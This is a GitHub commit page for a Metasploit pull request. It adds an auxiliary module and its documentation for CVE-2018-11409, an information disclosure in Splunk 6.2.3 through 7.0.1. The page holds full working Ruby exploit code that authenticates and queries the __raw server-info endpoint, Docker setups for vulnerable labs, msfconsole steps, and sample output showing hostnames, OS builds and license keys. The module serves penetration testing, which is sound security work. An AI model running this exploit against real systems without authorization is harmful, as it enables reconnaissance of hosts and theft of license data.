-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18635, Authenticated Splunk Info Disclosure
This PR adds a module for an authenticated Splunk information disclosure. This module gathers information about the host machine and the Splunk install including OS version, build, CPU arch, Splunk licnese keys etc.
- Loading branch information
Showing
2 changed files
with
221 additions
and
0 deletions.
There are no files selected for viewing
88 changes: 88 additions & 0 deletions
88
documentation/modules/auxiliary/gather/splunk_raw_server_info.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,88 @@ | ||
## Vulnerable Application | ||
|
||
Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending | ||
`/__raw/services/server/info/server-info?output_mode=json` to a query. | ||
|
||
Versisons 6.6.0 through 7.0.1 require authentication. | ||
|
||
### Docker Install | ||
|
||
#### Splunk 6.5.5 | ||
|
||
A vulnerable version of Splunk can be installed locally with docker: | ||
|
||
`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5` | ||
|
||
#### Splunk 7.1.0 | ||
|
||
At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart | ||
the service (via website) for the instance to be exploitable. Splunk can be started via docker with: | ||
|
||
`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0` | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use auxiliary/gather/splunk_raw_server_info` | ||
1. Do: `SET RHOSTS [IP]` | ||
1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information. | ||
|
||
## Options | ||
|
||
## Scenarios | ||
|
||
### Splunk 6.5.5 | ||
|
||
``` | ||
msf6 > use auxiliary/gather/splunk_raw_server_info | ||
msf6 auxiliary(gather/splunk_raw_server_info) > exploit | ||
[*] Running module against 127.0.0.1 | ||
[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin | ||
[+] Hostname: 3c7b9beb6c3c | ||
[+] CPU Architecture: x86_64 | ||
[+] Operating System: Linux | ||
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03) | ||
[+] OS Version: 6.5.0-kali2-amd64 | ||
[+] Splunk Version: 6.5.5 | ||
[+] Trial Version?: true | ||
[+] Splunk Forwarder?: false | ||
[+] Splunk Product Type: enterprise | ||
[+] License State: EXPIRED | ||
[+] License Key(s): [] | ||
[+] Splunk Server Roles: ["indexer", "license_master"] | ||
[+] Splunk Server Startup Time: 2023-12-19 20:56:13 | ||
``` | ||
|
||
### Splunk 7.1.0 | ||
|
||
``` | ||
[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info | ||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin | ||
username => admin | ||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk | ||
password => splunksplunk | ||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true | ||
verbose => true | ||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run | ||
[*] Running module against 127.0.0.1 | ||
[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json | ||
[+] Hostname: 523a845e8652 | ||
[+] CPU Architecture: x86_64 | ||
[+] Operating System: Linux | ||
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) | ||
[+] OS Version: 6.5.0-kali3-amd64 | ||
[+] Splunk Version: 7.1.0 | ||
[+] Trial Version?: false | ||
[+] Splunk Forwarder?: false | ||
[+] Splunk Product Type: splunk | ||
[+] License State: OK | ||
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"] | ||
[+] Splunk Server Roles: ["indexer", "license_master"] | ||
[+] Splunk Server Startup Time: 2023-12-21 01:40:02 | ||
[*] Auxiliary module execution completed | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,133 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Splunk __raw Server Info Disclosure ', | ||
'Description' => %q{ | ||
Splunk 6.2.3 through 7.0.1 allows information disclosure by appending | ||
/__raw/services/server/info/server-info?output_mode=json to a query. | ||
Versisons 6.6.0 through 7.0.1 require authentication. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'n00bhaxor', # msf module | ||
'KOF2002', # original PoC | ||
'h00die' # 6.6.0+ | ||
], | ||
'References' => [ | ||
[ 'EDB', '44865' ], | ||
[ 'URL', 'https://web.archive.org/web/20201124061756/https://www.splunk.com/en_us/product-security/announcements-archive/SP-CAAAP5E.html'], | ||
[ 'CVE', '2018-11409'] | ||
], | ||
'DisclosureDate' => '2018-06-08', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(8000), | ||
OptString.new('USERNAME', [ false, 'User to login with', 'admin']), | ||
OptString.new('PASSWORD', [ false, 'Password to login with', '']), | ||
OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', '']) | ||
] | ||
) | ||
end | ||
|
||
def authenticate | ||
login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login') | ||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => login_url | ||
}) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'No response received for authentication request') | ||
end | ||
|
||
cval_value = res.get_cookies.match(/cval=([^;]+)/)[1] | ||
|
||
unless cval_value | ||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication') | ||
end | ||
|
||
auth_payload = { | ||
'username' => datastore['USERNAME'], | ||
'password' => datastore['PASSWORD'], | ||
'cval' => cval_value, | ||
'set_has_logged_in' => 'false' | ||
} | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => login_url, | ||
'keep_cookies' => true, | ||
'vars_post' => auth_payload | ||
}) | ||
|
||
unless res && res.code == 200 | ||
fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance') | ||
end | ||
|
||
print_good('Successfully authenticated on the Splunk instance') | ||
end | ||
|
||
def get_contents | ||
request = { | ||
'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'), | ||
'keep_cookies' => true, | ||
'vars_get' => { | ||
'output_mode' => 'json' | ||
} | ||
} | ||
res = send_request_cgi(request) | ||
|
||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
# 200 is <6.6.0 success, 303 is >=6.6.0 likely success but need auth first | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 || res.code == 303 | ||
res | ||
end | ||
|
||
def run | ||
# on 6.2.x-6.5.x this will work as its unauth | ||
res = get_contents | ||
# if we hit 6.6.0 - 7.1.0 we need to auth first | ||
if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}' | ||
print_status('Authentication required, logging in and re-attempting') | ||
authenticate | ||
res = get_contents | ||
end | ||
|
||
j = res.get_json_document | ||
|
||
loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json') | ||
print_good("Output saved to #{loot_path}") | ||
|
||
print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}") | ||
print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}") | ||
print_good("Operating System: #{j['entry'][0]['content']['os_name']}") | ||
print_good("OS Build: #{j['entry'][0]['content']['os_build']}") | ||
print_good("OS Version: #{j['entry'][0]['content']['os_version']}") | ||
print_good("Splunk Version: #{j['generator']['version']}") | ||
print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}") | ||
print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}") | ||
print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}") | ||
print_good("License State: #{j['entry'][0]['content']['licenseState']}") | ||
print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}") | ||
print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}") | ||
converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S') | ||
print_good("Splunk Server Startup Time: #{converted_time}") | ||
end | ||
end |